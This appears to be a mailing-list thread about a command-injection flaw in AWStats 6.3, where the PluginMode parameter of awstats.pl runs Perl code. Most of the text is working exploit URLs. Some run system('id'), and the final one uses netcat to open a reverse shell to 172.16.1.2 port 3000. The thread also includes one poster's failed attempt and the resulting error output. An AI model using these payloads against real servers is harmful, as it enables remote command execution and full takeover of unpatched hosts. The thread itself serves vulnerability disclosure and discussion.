You may need to specify an awstats config to view

example:

http://www.site.org/awstats/cgi-bin/awstats.pl?config=websitename&PluginMode=:print+system('id')+
;

So what are the conditions of this bug/vuln?  I can't reproduce this on
several 6.3 installs..:

awstats 6.3 from source:

request:

http://www.site.org/awstats/cgi-bin/awstats.pl?&PluginMode=:
print+system('id')+;

output:
****************
Error: Can't locate object method "BuildFullHTMLOutput_print" via
package "systemid" (perhaps you forgot to load "systemid"?) at (eval 1)
line 1.

Setup ('/etc/awstats/awstats.www.site.org.conf' file, web server or
permissions) may be wrong.
Check config file, permissions and AWStats documentation (in 'docs'
directory).
***************

no, user is not limited, he can execute ANY command if he add ; at the
end of the command, try this

awstats.pl?&PluginMode=:print+system('id')+;

or even this

awstats.pl?&PluginMode=:print+system('nc+172.16.1.2+3000+-e+/bin/sh')+;
